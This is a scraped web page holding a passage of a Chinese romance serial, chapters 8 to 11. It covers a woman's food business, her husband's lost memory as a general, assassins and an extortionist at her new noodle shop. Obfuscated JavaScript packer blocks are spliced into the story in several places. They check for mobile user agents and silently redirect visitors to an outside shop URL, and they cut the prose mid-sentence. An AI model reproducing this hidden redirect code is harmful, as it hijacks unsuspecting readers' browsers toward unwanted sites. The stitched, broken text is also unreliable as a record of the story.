p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144253|196355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰巧遇到他偷吃糖葫芦,才引发了腹痛。” 证据俱全。 胖妇人支支吾吾半天说不出话来,脸色早已因羞耻而通红,认出她的邻里更是鄙夷地对着她指指点点。 面对四周怪异的眼神,那孩子哭得更厉害了,“娘!娘!我肚子疼,我想回家……” 胖妇人不敢多言,抓起儿子连忙跑走。 千璃没追,因为她知道这只是小喽啰,真正幕后的人还在这。 她直勾勾地看向刘掌柜和刘大两人,穆玄也站在她身侧恶狠狠地盯着。 刘掌柜此时还有什么不明白的,知道自己露了馅,忙连连拱手,满目羞愧,“对不住、对不住各位!是在下管教不严,差点冤枉了好人。此事是我同侄儿对不住小娘子,没分清对错就胡乱猜测,你放心,回去我定狠狠教训这小子!” 千璃却抬手止住了他意图离去的步伐,“刘掌柜,是非公道已明了,我们这些做小生意的只求个安稳度日,不想那么多乱七八糟的事情。但你们却一而再再而三的挑衅,坏我们名声,砸我们饭碗。这次的事我能不计较,毕竟以后低头不见抬头见的,报官对你我都有影响。但往后,还请贵坊‘高抬贵手’,大家各凭本事吃饭,可好?” 她不压地头蛇,这番话即全了刘掌柜的脸面,也暗暗隐藏威胁,自己不怕事也不惹事。 围观人群点头称赞千璃。 “这小娘子真不错啊。” “刘掌柜也太阴险了,上次来招惹不说,这次手段还那么肮脏!” “就是就是。” 刘掌柜听着众人的批判,老脸燥得耷拉下来,连连称是,拽着不服气却被甩一巴掌的刘大,举起衣袖捂严实脸就快步走掉了。 一场害人风波,就这么平息。 千璃拍拍手,“害,虚惊一场,各位可不能因此不来买我家豆干了呀!为了感谢大家伙儿的信任,今天买一斤豆干,通通送二两!” 人群里一阵欢呼声响起,“云娘子大气!”摊位竟比起之前排队的人更多了。不少人本就是为了她的豆干而来的,此时因为千璃临危不惧坐怀不乱的气度和处事风格,更是被击中心巴,纷纷掏钱购买。 穆玄则是在一旁利落地沉重,收钱。 没一会儿豆干就售罄了。 他们今日不仅赚够了穆冬穆春两人的束脩,更多出了不少银钱。 穆玄将摊位收拾好,垃圾也扫干净,背起空背篓,低声道谢,“这段时日辛苦你了。” “不辛苦,”千璃摇摇头,靠自己的双手赚钱,怎么能说是辛苦呢,她只觉得爽快! 她的日子虽忙碌却很充实,“这才哪儿到哪儿呢,我还要赚多多的钱。” “要那么多钱干什么呢?我这里还有些存余,也一并给你吧。”穆玄虽然不解,却愿意将私房钱都给她。 “才不要你的,我要自己存钱开酒楼。” “酒楼?像祥聚斋那样的吗?” “对。” “那我帮你,我很有力气。” “力气大有什么用?” “我能帮你砍柴喂猪烧水修房顶……” “好吧,确实很有用。” 8. 第 8 章 目送着千璃和穆玄送完最后一批山药离开,李掌柜挂上停业的招牌,推开后院的木门。 一身着深青布衣的中年男子负手立在书桌前,他身型清瘦,两鬓斑白,一双眼睛疲惫却锐利地盯着李掌柜。 “可查清楚了?” “是,军师。他对我们做出的暗号和手势一概不知,眼里全是陌生。”李掌柜躬身行礼,语气十分恭敬。 阮伯山闻言,眉头几不可察地蹙了一下。 “季将军,怕是失忆了。” 话语一落,书房内一片寂静,只余灯烛芯噼啪的火光跳动声。 阮伯山指头轻轻叩击窗扉。 三年了。 他本来已经完全不抱任何希望。季轩钰自燕洲身负重伤落水,他们整整寻了雅白江三个月不得踪迹后,他唯一的诉求也只是生要见人,死要见尸。 却没想到因为二皇子的一次大意,被他发现有股二皇子的势力一直在外迟迟不曾归京,心生疑惑才深入调查。 终于被他顺藤摸瓜找到了季轩钰的下落。 他是在季老将军身旁,看着季轩钰长大的。从一个调皮捣蛋的稚嫩幼童到战场上以一敌百的杀戮机器,到被匈奴人拿来止小孩夜哭的镇北将军,季轩钰只花了十年。 多少次险象连环,他都挺过来了,阮伯山不信这一次,季轩钰会折在这里。 所以他从没停下寻找的步伐。 这次底下暗桩传来消息,说是遇到了一个很像季轩钰的人的时候。 他亲自来了。 只一个照面他焦急忧虑多日的心,就定了下来。 瘦了,也黑了。脸上多出了一条长如蜈蚣横贯半边脸的伤疤,眼神少了锐气多了些成熟稳重。 “全忘了?”阮伯山听清楚了,却还是低声又重复了一遍。 “是的,”李掌柜依旧低头,“军师,二皇子的人上月已寻到西洲,尽管被我们的人传出假消息引到了别处,但依照情形,恐怕搜到这里,要不了多长时间了。若是让他们先找到将军……” 后面的话不用李掌柜说出口,阮伯山也知道后果。 不仅仅是三十万的季家军在等着他,被匈奴破城掳走的百姓,边疆苦苦坚守的大周人也同样在等着他。 再拖下去,就来不及了! 他闭上了眼,再睁开时,已是一片决然。 “非常之时,当行非常之事。” 李掌柜心下一凛,“按军师的意思是?” “去找子武和子胜,”阮伯山望着被乌云遮住的太阳,一双长眸看不清神色,“让他们假扮二皇子的人去刺杀季将军。” “用,只留下一口气的手法。” 嘶!李掌柜倒吸一口凉气,脱口而出道:“军师,这太危险了!刀剑无眼,万一不小心就会失手哇!” “没有万一。”阮伯山打断他,语气沉重,“子皓,你可知北境现在是什么情况吗?匈奴新上任的单于杀兄杀父杀妻杀子,手段残忍又野心勃勃,开春后必有一场硬仗要打。但朝中二皇子党势大,太子残废,老皇帝昏庸沉迷丹药,若他掐了我们的粮食运道,又该如何。季家军三年来更是郁郁不得志,兄弟们靠着一腔孤勇在撑着等将军回来。” “轩钰只能找回记忆,重新做镇北将军!”阮伯山拍了拍李掌柜的肩膀,一字一顿道:“这不只是他一个人的事,这关乎着北境十万百姓的生死存亡。” 李掌柜神情肃然,后退深深一鞠躬,“是属下妇人之仁了,属下这就下去安排。” * 今日是穆冬穆春第一天上学的日子。 千璃前几日已把束脩给了村塾先生,没想到被他以穆家村有补贴为由退了一两银子。 “到了村塾,要敬重师长,友爱同学,但有人欺负你一定要还手,不能委屈了自己,知道吗?”千璃细心地叮嘱好他们,便让穆玄将他们带去村塾,而她自己则是在家里继续睡了个回笼觉。 毕竟这段时间一直早起,还是很累的。 等她美美睡醒后,来到猪栏这边看两只小猪的生长情况。 经过了他们四人不间断的喂养后,两只小猪长胖了一大圈不止,更加胖嘟嘟了。 大满和小满哼哧哼哧地吃着食物。 真好,等过了年差不多就能出栏了。 千璃答应了今天给辛苦学习一天的穆冬穆春两人做个新吃食,她拿出前几日在镇上买的黄姜,再拿出今早穆玄杀好的鸭。 好,今天就做姜母鸭好了。 鸭子是野鸭,刚猎到没几天,他们一直没舍得吃。 她将黄姜切成厚厚的薄片,在锅里倒入芝麻油,将姜片翻炒到略微焦边捞出,剩下油倒入鸭肉继续翻炒至金黄,再倒入适量酱油,一小块糖块,没有耗油放了一点盐和淀粉。 翻炒均匀后再倒入炒好的黄姜片,炒至入味。此刻味道已经十分浓郁了。 但还差最关键的一步,黄酒。 千璃将一碗黄酒倒入鸭肉中,盖盖子闷了两刻钟就能出锅了。 姜片微甜,酱味浓郁辛香,没一会儿香气就飘散至屋外。 穆玄伴着夕阳将穆冬和穆春带回家中,两小孩兴奋地说着私塾里的琐事。 “啊!嫂嫂是什么那么香呀?” “快去洗手,吃饭啦,今天是姜母鸭。”千璃催促他们去井水旁洗干净手。 菜刚端上桌没一会儿。 穆冬穆春两人吃的嘴巴油亮亮一圈,头也不抬,“嫂嫂,呜呜呜真好吃!我以前跟哥在身边的都是什么日子,他就会水煮菜!” 穆冬悄悄地用脚踢踢穆春,示意他看向穆玄漆黑的脸,别说了。 穆春立马“嘿嘿~”两声,打马虎过去。 这两顽猴。千璃笑得眼泪都快出来了,又添了一碗饭递到穆玄前面,“知道你爱吃,多吃一点。” 穆玄嘴里的肉还没吞下去,倒先红了个满脸。 只默默地低下头吃饭,被两小孩揶揄的目光看得动作略微僵硬。 千璃才不管他,给穆冬穆春各加了个大鸭腿才作罢。 晚饭在小孩们说说笑笑中度过,就连姜片都被吃的一干二净,剩下的鸭油也没浪费,特意装起可以炒菜吃。 夜深了,众人洗漱完歇下。 次日一早,穆玄送穆冬穆春去私塾,私塾在村子东头一处旧祠堂里。同夫子交接完人后他就告辞离开了,只是余光却觉得右手边的老槐树有些不对劲。 他摇了摇头只当自己敏?感。 转身朝自家农田走去,今日田里还要除杂草呢。 穆玄走在惯常的土路上,四周是空旷的田野,就在他要拐弯经过一片密林时,一股源于体内深处惊起的第六感突然响起 危险!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“呃!”头好痛,穆玄用力按住头,脑海中尖锐刺痛,突然闪过一些陌生画面。数不清的士兵在浴血奋战,呐喊声、哭泣声和喊杀声,以及陷入黑暗前的冰冷透骨的江水。 却在穆玄试图看清细节时,又模糊起来。 他静静地在原地站了许久,平复好不容易稳定下来的心跳声,收起匕首,清理掉明显痕迹后,才像往常一样走向自家稻田,只是浑身气息沉重了几分。 可强装镇定并未带来遗忘,今日的遭遇将穆玄拖入了噩梦的深渊。 梦里,他身着铠甲,手里的长刀砍卷了刃,身边不断有人站起来,又有人倒下。 他不知道阻挡了多少波人。 “嗬!” 穆玄猛地坐起身,里衣早已被冷汗浸透。梦中那股悲痛欲绝又极端愤怒的情绪烧得他指尖颤抖。 他是谁? 我是谁? 我不是穆家村穆如海的儿子穆玄吗?那么......为什么又要叫我季轩钰呢。 穆玄主动打断思绪,竟一时不敢继续想下去。 右手边千璃迷迷糊糊地睁开了眼睛,看着一旁不睡觉的男人,疑惑问道:“穆玄?怎么了?” 穆玄将颤抖强行压下,再睁眼时,痛苦挣扎的神情被平静覆盖。 “没事,”声音带着一丝睡意,一如往常低哑,“只是做了个噩梦。” “好吧,快睡吧,”千璃声音渐沉,“噩梦都是相反的,别怕......” “嗯。” 穆玄无声地躺下,一双深黑眼眸直勾勾地望着房顶,直到天光浮现,才缓缓闭上。 9. 第 9 章 村里私塾的夫子姓周,年约四十五,待人温和方正,在村里十分受尊敬。 “周夫子好~”穆冬和穆春恭敬地行礼。 周夫子捋了捋胡子,微微颔首,“找个位置坐下吧。” 伴随着阵阵读书声,和抽背声,穆冬和穆春逐渐习惯了教学的节奏。 等今日课程结束,周夫子边整理书籍边同座下颇有天赋的学生道:“今日是想来提醒一下你们,明年二月县试就要开始了,如若有想法的需要提前备考,收拾行囊。” “县试?”穆冬有些疑惑。 他刚来没多久,目标也只是认字,对科举一事不算上心。 隔壁座位的小胖凑过来,小声道:“县试是谁都能去考的,等考过县试、府试后就能成为童生啦。” 穆冬了然地点点头,“原来是这样。” “你们就是云娘子家的穆冬和穆春吧,我们家都很爱吃你嫂嫂做的豆干!” 那小胖看周夫子已经走出教室,才俏咪咪地说完后半句话,“你知道吗?云娘子大嫂家的儿子云七宝就是童生。” “他本来打算今年四月冲击院试的,却因为自己娘亲犯的事,直接被剥夺功名,废去童生头衔,并且永不能再科举。” 小胖压低声音,“不过你别担心,我是站在你们这边的,那小子因为自己是童生之前狂得不得了,早看他不爽了。” 穆冬默默记下这件事,谢过小胖的解释。 虽然自己读书不求取功名,却也知道那云七宝估计对嫂嫂怀恨在心,说不定会做出什么出格的事。 等回家再告诉嫂嫂这件事吧。 而同一时间,广平县。 松竹书院内,云七宝——现在要叫云文轩了。他本来因云芳的事被赶出书院,恰巧偶遇到贺知州被他帮了一把,贺知州听完他的遭遇后将他收为义子,遂改了名字。 现在他在贺知州手下做事,没了生计来源和云芳每月的供给,云文轩现在为了钱,什么事都干,大多是别人不愿干的脏事。 他低头恭敬地向贺知州禀报着,心脏却被恨意熬得火烧火燎,为什么? 我是现在这个样子!我本来应该有光明的未来的,都是……都怪云千璃那个臭女人!还有他那个奸夫,穆玄! 却在抬头余光瞥过贺知州的书桌桌面,发现一张敞开的画像。 画像上那人熟悉的五官赫然就是穆玄。 穆玄?! 云文轩疑惑,知州大人为何会有他的画像,这人有什么值得他注意的地方吗? 这是个可以交易的机会,他悄悄地动了念头。 云文轩兴奋地开口道:“大人,我认识画像上那人。” 贺敛本来淡定的表情瞬间一变,他立马站起身走到云文轩面前,“什么?你可确定?!” “是的,大人。他是我们村的猎户,大家都以为他是穆通海云游在外的儿子,但只有我知道,他是三年前被穆通海在小河边捡到的人。” “……三年前,”贺敛精光一闪,直勾勾地盯着云文轩,“你可知道,欺骗我会有什么代价吗?” 云文轩本来激动不已的心瞬间凉下来,他颤颤巍巍地跪倒在地,趴伏在贺敛的脚下,“大人!天地可鉴,一定是他!” “好,若你的情报属实,等我的人抓住他后,重重有赏!”贺敛挥手让云文轩下去,自己则是连忙拿出信纸写下密信绑在白鸽脚上。 去吧,告诉二殿下! 三日后,一队不起眼的走商进入了青城镇,领头的是个表面瘦削的精明汉子,实则真实身份是二皇子殿下的暗卫之一,曹卫。 此时的千璃,对即将发生的危险一无所知。 她正同穆玄说着自己的想法,最近靠卖豆干、山药和山上抓到的野兽赚了一大笔钱,为了方便,千璃打算在镇上租赁一间小店铺做做生意。 然而连看了七八家,她都不太满意。要么不是租金太高,就是地址太偏僻,要么就是紧靠青楼赌场那些烟花巷柳,人员复杂,而唯一一处看上去都还不错的,在东街口子的旧粮店,却是风水不好,据说每一任雇主进去没几天就出事。 为此,千璃只能铩羽而归。 她叹了口气,“诶,怎么找个合适的店铺就那么难呢。”千里擦了擦汗,打开水囊灌了口薄荷水。 穆玄站在一旁,心下隐隐不安,好像有什么在盯着他,四处打量周围却又毫无破绽。 他只能强硬按下紧绷的情绪,同千璃继续寻找门店。 一直到申时他们才回到穆家村。 穆玄放下东西没休息多久,又拿起了蓑衣和柴刀上山去,近日天气寒冷,许多动物都在冬眠,运气好的话可以捡漏到许多小动物。 然而就在他踏入一处陷阱时,五道蒙面黑影如鬼魅般出现在竹林间,将穆玄团团围住。 为首之人正是曹卫。 他不说废话,一个手势间立马有所动作,五人的配合默契度十足,俨然训练有度。 即便穆玄力量足够抵挡他们的招数,却还是渐渐地落了下风。 却没想到一个格挡后,竹林内又出现了三人,其中两人一左一右上前帮忙,竟一瞬就控制住了穆玄必败的局面。 曹卫有些阴毒地看着出现在此地易容过的阮伯山,咬牙切齿地大声喊道:“你是何人?莫要多管闲事!” 阮伯山目光掠过曹卫的腰间令牌,别人看不明白的图案内容,他却早已同令牌背后的人打过无数的交道。 “你们二主人行事如此狠辣,可知龙椅上那位,早已对他不满多时吗?让他回去看一看自己封地内的情况吧,别到时候被一锅端了都不知道。” 什么?曹卫眼睛陡然睁大,眼神有一瞬的吃惊。 这人是如何猜出二殿下的,而且,他说的封地是什么意思。 曹卫压下心中疑虑,大喝一声同手下四人再度出手,子武和子皓同样出手狠辣果决,不输曹卫几人。 一时之间竹林内刀光剑影,金戈交鸣。 有了子武和子皓两人的加入,穆玄压力骤减,不多时就压制得对面力不能敌。 “撤!”曹卫捂着手上的肩膀,眼见再拖下去就要全军覆没,只能强行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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穆玄接过药瓶,他知道自己没有选择。 “给我三天时间准备。” 阮伯山作揖,“属下静候将军佳音。” 回去的路上,穆玄的目光安静地扫过铺满碎石的土路,远处云遮雾绕的高山,和沉甸甸地挂着稻穗的农田。是自己亲手修理、一小扎一小扎弯腰种下的稻苗。 没有多久,就要收获了。 离开熟悉的地方,去到陌生的府城,穆玄对未来感到茫然。 可为了千璃和两个孩子,他不得不对穆家村做下割舍。 穆玄快步赶回了家。 千璃从屋内走出,望着穆玄的眼睛亮晶晶的,“穆玄穆玄~今日看了好几家铺面都没有合适的。不过我同那个牙人说了,只要看到合适的铺面,一定要来告诉我。” 穆玄自然地接过千璃手中的木盆,放到水里淘洗蔬菜,“千璃,你有想过出去吗?” “出去?去哪里?” “我是说更大的地方。” 千璃疑惑,“更大?你是说府城吗?” 10. 第 10 章 “对,你不是一直找不到心仪的铺面吗,我想着去府城,你一定能找到的。” 千璃虽然意识到自己总有一天会走出穆家村,但这太快了,怎么会这么急,“可是我们在那里人生地不熟的,也不一定要去那里的。而且穆家村是你从小长大的地方,还有这房子和田地又该怎么办呢?穆冬穆春也都还在上学。” 穆玄显然早已深思熟虑过,“农田和地契可以卖掉。村里的私塾再好,能好过府城的学堂吗?听说松竹学院是咱州里排得上名次的书院,穆冬穆春的成绩努努力完全够得上。” “可是......”你舍得吗? “没有可是,”穆玄轻轻握住千璃的手腕,语气柔和,“以你的才能,完全可以去到更广阔的天地。我知道,跟着我让你受委屈了。既然现在有条件,为什么不一起出去走走。” “千璃,别担心,对于我来说,有你、有穆冬穆春的地方,才是家。” 千璃手腕被握得滚烫发热,望着眼前男人认真又鼓励的眼神,她终是答应了,“好,听你的,咱们去府城!” 当夜,穆玄将写好的地契和田契售卖文书,交给了村里信得过的一位族老让他帮忙代为售卖,又拖了人日后照看父母坟茔,不至于他一走就断了供奉。 而千璃则是和两小只一起收拾家里的东西,腌制好的肉和粮食是一定要带上的,被褥衣服也是、还有一些必要的家具也不能丢,到了府城再买肯定很贵,宁愿途中折腾一下,也不浪费银钱采购。 等做完一切准备,时间才过去了一日半。 “来,再做个最后的道别吧。” 千璃最后再望了一眼穆家村的景色,转身离去。 七日后,一辆外观老旧的驴车驶入宁国府的官道,激起尘土飞扬。 在排队入城的时候,千璃掀开车帘悄悄往外望去,比起青城镇的喧嚷和烟火气,宁国府的百姓明显更规矩一些,即使是排队也很少大声喊叫。 前方不知为何传来守卫粗暴的呵斥声,“去去!府城不接受流民,快点离开!” 一个衣衫褴褛面黄肌瘦的小孩被推倒在地,千璃下意识想去扶他一把,却被穆玄轻轻按住手腕。 “别去。”他低声道,目光扫过那队眼神麻木呆滞的流民,眉头微锁。 虽然千璃没去扶,但队伍里不乏有善心和同情心的人,另一辆马车的丫鬟下了车扶起那小孩,估计是听从了车内小姐的命令,表情有些嫌弃却还是丢了一串文钱。 “......”那小孩似乎是个哑巴没法说话,只一个劲地磕头道谢。 “好了、好了!你快走吧,我家小姐心善,拿了钱就去买点吃的。”丫鬟说完扭头就走,也不管一个幼童是如何能守得住那串文钱的。 果然,没一会儿,那小孩就被抢了。 千璃心下不忍,从包裹里拿出几个馒头压扁并上大饼和肉脯,装载破旧暗沉的布料里,悄悄地递给了那趴在地上没有动作的小孩。 “给,自己找个没人的地方再打开,这次可不要再被抢了。” 小孩饿到抽搐刺痛的胃敏锐地感受到食物的气息,一把夺过布包就跑。 跑得远了才悄悄地回头从脏污杂乱的黑发里看了千璃一眼。 这小子,看上去竟还有力气,诶,跑吧,跑远点。 队伍人多眼杂,穆玄一直站在千璃身旁。 他总觉得那小孩有些面熟。 回到马车旁,不远处有个镖局的镖师在压低声音交谈,“诶,真的是太可怕了。我们的队伍之前路过北边龙泉县的时候,听说县里闹了暴动,底下的人全反了。那个官老爷自个儿偷摸摸地加了五成的粮税,逼得那群佃农活不下去了,直接揭竿冲了衙门和富绅家里,杀红了眼,那城门口堆满了尸体哩。逃出来的人直往周边县涌,咱们这还算好的,有秦将军守着,那群流民不敢撒野。隔壁广平县才是重灾区,直接关了城门不允许进去。” “上边不管吗?”另一人指了指天空。 镖师撇撇嘴,声音压低到几不可闻,“管?对于贵人来说,这事还没明天吃什么重要呢!哪入得了他们的眼。”他又含糊说了几句话,随即摆摆手不再多言。 而千璃也靠着穆玄读唇语转述对话,明白了青城镇外的世界没有那么安稳宁静,饥荒、暴乱、匪盗无处不在。 她勉强收回看向流民的目光。 别想了,你什么也做不了。 千璃他们的驴车在守卫验过路引后,顺利进入了城。 找铺面的过程比想象中顺利,流民事件也间接影响了周边生意,他们怕有一天流民暴动,早早动身去了其他地方避难。 买下的店面不算大,是一栋二层小楼。地段在西市略靠中间的玉泉街,毗邻宁国府最热闹的留下街和清柳巷,路过的行人很多,地段算很不错的了。 一楼是食肆并厨房,二楼可以做包厢。但后院只有一间房,分成了两个房间,刚好他们四个人分。院子有上任主人自凿的水井,方便用水,还有一颗矮小的柿子树。 原房东家里出了事急需用钱才低价卖给了千璃,不然不可能出手。千璃一手交了六十八两,一手接过房契转让文书和新房契。 原本的积蓄,此时已用去了大半。 “嫂嫂,没事的,钱没了我们还能再赚的,我和哥哥都会帮忙的,而且这里比穆家村大多啦!我好喜欢。”穆春看着千璃心疼的捂住荷包,懂事地开口劝慰。 千璃摇摇脑袋,顺手揉揉穆春脑袋,“好啊你,嫂嫂才没心疼!我这是高兴,我们有了新家呀。今晚嫂嫂给你们做个好吃的好不好?” “好~” 今晚的菜色是小葱炒鸡蛋、腊鸭闷萝卜酸汤、清炒藕片。 吃过一顿丰盛的晚饭过后,千璃同穆玄细细说着自己的打算,“我想好了,店里先做两种面食,肉臊子面和鸡蛋酱面。不过,肉需要用猪肉,诶,喂养了那么久还真是有些舍不得。” “那不杀了。” “好吧,其实也没有那么舍不得。” 入夜,穆玄悄悄睁开眼睛,他蹑手蹑脚地穿衣起身,运用轻功偷偷地来到隔壁留下街的一处偏僻院落。 “今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144256|196355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日恢复的如何?”阮伯山早已等候多时,他还一并带来了医师,可以缓解疼痛。 穆玄一边做着头部针灸一边回答,“能记起一些过去的记忆,但关于战场的事还是很模糊。” 阮伯山眼睛一亮,能记起来就好啊。 “待到二十日后,相信将军你一定能恢复完全。” 疼痛被减轻许多,穆玄有礼貌的道谢,“这几日会很忙,这些疼痛我还能忍,月底前就都不必再来找我了。” 阮伯山知道季轩钰是不想自己打扰他同千璃最后平静的时光,了悟地点点头,“一切依将军行事。” 穆玄又趁着夜色赶回玉泉街,小心翼翼地避过巡逻的官兵,在床头站了一会儿,等感觉身体不再冰冷才掀开被褥躺下。 一夜好眠。 千璃同穆玄一同将小楼打扫干净,又去定制了一块牌匾,约摸明日就能做好。 在等待期间,她约了位屠夫上门来杀猪,大满被几人拽着拉出猪栏的时候,穆冬和穆春都忍不住眼眶泛红。 但等千璃将猪肉做成咸香微辣的肉臊子的时候,他们吃得如何香就是后话了。 将腿肉取出,让穆玄剁成粗粒状的肉糜后,千璃热锅冷油将肉粒炒至变色,等微微出油后,加入酱油、豆瓣酱、盐黄酒和一小勺糖提鲜。 等炒出酱色了再倒入鸡汤,用小火慢煨,咕噜咕噜的小气泡聚集在肉堆里,迸发出恼人的香味。 千璃将面条煮熟后再过了凉水一边,放入粗陶碗中备用。将一大勺做好的肉臊酱盖在面条上,撒上几片芫荽,配上一小碟酱瓜,这一碗色香味俱全的肉臊拌面就做好了。 众人被香味逼得饥肠辘辘,早就迫不及待的拿起筷子品尝。 只觉一口下去,猪肉的焦香和奶香混合辛辣的酱,以及面条的弹韧,组成了直击味蕾的灵魂口感,再吃一口清脆解腻的酱瓜,满嘴留香。 爽! 太好吃了,就算是平日不注重口食之欲的穆玄都怒干两大碗,无他,猪肉的口感实在是太惊艳了。 他没想到阉割过后的猪仔竟能如此美味。 这一定能打通周边市场的!穆玄确信。 “看来明日有的忙了。”千璃拍拍手,笑意盈盈地望着一扫而空的桌面。 次日,随着日头的爬起,市集逐渐热闹起来。 千璃扯下写着“醉春楼”的牌匾遮布,正式宣布开张大吉。 他们只在门口挂有一个招牌,写明了菜色: 鸡蛋酱拌面 7文一碗 肉臊子拌面 10文一碗 开业前期打七折! 起初并没有引起过路人的注意,众人只是望一眼就走掉了,直到千璃觉得不行,忙让穆玄把做好的臊子连桶端出屋外,打开盖子后,香气霸道地传遍了整条街。 “嗯?什么味道?”一青衫少年扭头寻找气味来源。 “天,谁家手艺这么好,做的饭菜也太香了吧!” “我不行了,我要去买一碗来尝尝,诶!好像是前边那家醉仙楼传来的香味!走,去瞧瞧去!” 11. 第 11 章 千璃清清嗓子,走到众人面前,“小哥要不要尝尝,今日新开业打七折优惠,肉臊子面只要七文钱一碗,可不要错过呀!” 她舀起一勺香喷喷的肉酱,在众人面前划过展示。 那少年被勾的蠢蠢欲动,当即掏钱来了一碗,面刚入口中片刻,他就眼睛一亮,连话都不说了,只低头一口接着一口。 “诶小哥,怎么不说话了,这面味道咋样啊?”后边一位还在犹豫中,想问下反馈却不得,当即有点急了。 少年那还管他这的那的,几大口吃完一碗面,抹一抹嘴,又从怀里掏出几十钱放在桌上,啪! “老板娘,再来三碗带走!给我义子们也尝尝这好东西!” 这下子,不用多说,众人纷纷围上来,嚷着自己也来一碗尝尝。 不论是肉臊子面还是鸡蛋酱面,不多时就买了大半。 他们筷子一拌,肉味浓郁甘香,面条吸饱了汤汁,吸溜一口,满口油香。 “嘿真绝了!这手艺在这小店可真屈才了。” “比那天仙楼的浇头好吃多了!” 消息逐渐传遍整条街乃至附近,午时刚过,正值饭点,千璃店内一二楼就都坐满了人,她在后厨忙的脚不沾地,紧赶慢赶终于做出第二、第三桶肉酱和鸡蛋酱才不至于断了供应。 穆玄和穆冬在前头上菜收钱,穆春则是帮着千璃在后厨干些不重的活。 正热火朝天时,门口突然传来一阵喧哗。 几个面露凶光的黑脸汉子挤开人群,踩着草鞋就走了进来。 为首的壮汉一脚踩上长凳,随口啐了一口水在地上,斜眼打量着店内装潢,看到同样高大且不好惹的穆玄时才稍微收敛一些。 “你就是这儿的老板?” “生意不错啊,但,这条街我王虎罩着的,规矩懂不懂?孝敬费十两银子,现在马上给我!” 大厅一静。 十两?!抢劫呐! 店内的人只敢默默吐槽,因为为首这王虎身份有些来头。 他亲姐姐虽是宁国府知府大人的侧室,但颇得宠爱,因为生不出儿子,平日里将弟弟当做半个亲子对待,极为疼宠溺爱,几乎有求必应。 王虎这人不干正事,同一些狐朋狗友组建了老虎帮,靠收天价保护费来钱,喝花酒逛花楼,砸铺子出人命也不怕,自有他亲姐姐在后边收拾烂摊子。 众人对他是敢怒不敢言。 “孝敬费?”千璃听到动静从厨房里边走出来,她声音如云般温润,清凌凌地响起。 王虎未见其人,先被这声吸引了注意力。 抬头望去,只见女子荷叶绿沃衫搭软翠色长裙,头无发饰仅一条红色发带扎起乌黑秀发,一双远山眉下眼睛如黑曜石般剔透水润,气质虽如雪般冰冷,却又自带与世独立的气质,两者交织更惹人注目。 穆玄看到了王虎眼底的惊艳和垂涎,瞬间握紧了拳头,恨不得将这人打死才好! 眼睛不要了大可挖去。 千璃隐蔽地对他摇了摇头。 先不要轻举妄动,我有办法。 千璃虽然也被恶心到了,却也知道强龙不压地头蛇的道理,初初到府城,没有靠山的他们只能先小心行事。 但,今日虽不能闹事,却也不能表现出怕事。 不然等王虎走了,之后就会有源源不断的王蛇王狗王猪出现,只怕要被吸血敲髓般勒索了。 “这位爷,请问是有哪条大周律法规定,我们必须向你交这笔费用吗?如果有,自可同你一道去官府办理一应流程。” “可如果没有,那你就是罔顾大周律法而私自编造法律,这是弃圣上不顾了?” 她故意往前走了一步,更近了王虎一些。 王虎咧开嘴笑了,笑得无所畏惧,“哈哈哈哈哈小娘子!你倒是能说会道,你大可去告,看看有没有人来帮你开堂。” 他踢开脚下的长凳,没想到千璃竟然还有勇气跟他呛声,平日里见到的都是乖顺的女子,头一回遇到千璃这种里外反差如此之大的,兴致瞬间涌了上来。 “不过嘛,如果你愿意陪我一晚,这个月的孝敬费也不是不能免掉。” 说罢一只手便想轻佻地摸上千璃的脸颊。 “小娘子何不休了你这毁容的疤脸相公,跟了我王虎如何,至少能保证你吃香的喝辣的,不必日夜操劳,只不过是另一种操劳哈哈哈哈哈哈哈哈哈!”他嘴上不干不净,手指眼看就要碰到千璃。 虎头帮的人也跟着一起浑笑,嚣张至极。 此时穆玄眼神看王虎已经是个死人了,要不是千璃示意他不要动,他早把王虎踹到门外去,何必污浊店内空气。 千璃假意接近,借着角度快速往前又往后退几步,震惊地望着王虎,脸上血色尽褪,更显可怜,“你!你怎能如此公然欺辱于我,就算要收孝敬费,何必动手动脚污我清白!” “难道知府的小舅子就能当街耍流氓了?” 等等?她怎么会知道我是知府的小舅子? 千璃早就观察到不远处正有一队士兵即将巡逻到玉泉街,为首的正是陆知尧陆巡检。 根据千璃这几日得到的消息,陆巡检乃太子昔日下属,自太子颓废不起后被下放到庞州府城,性格刚正不阿,正义凛然,最是看不惯不平不公之事,也因为多次救下被欺负的老百姓不得当地官员青眼,但却很得宁国府内百姓的信任和爱戴。 随着最后一句话音落,陆巡检走到醉春楼门口,被里面嘈杂的动静吸引,他停下了脚步。 “放屁!老子什么时候碰到你,更何况,就算老子碰你了,那也是你的荣幸!”王虎眼神凶得要吃人,一双眼珠瞪大如牛。 个小娘皮也敢碰瓷我,看我不把她抓了回去狠狠折辱! 王虎正要抽出腰间长棍。 堂内众人纷纷看到了王虎身后的陆巡检,十分有默契地打起了配合。 “嘿!王虎你这厮,收钱不成,还对人家老板娘动手动脚,太过分了吧!” “对对,我都看到了,他那手都摸人家脸上了,真不要脸,呸!” 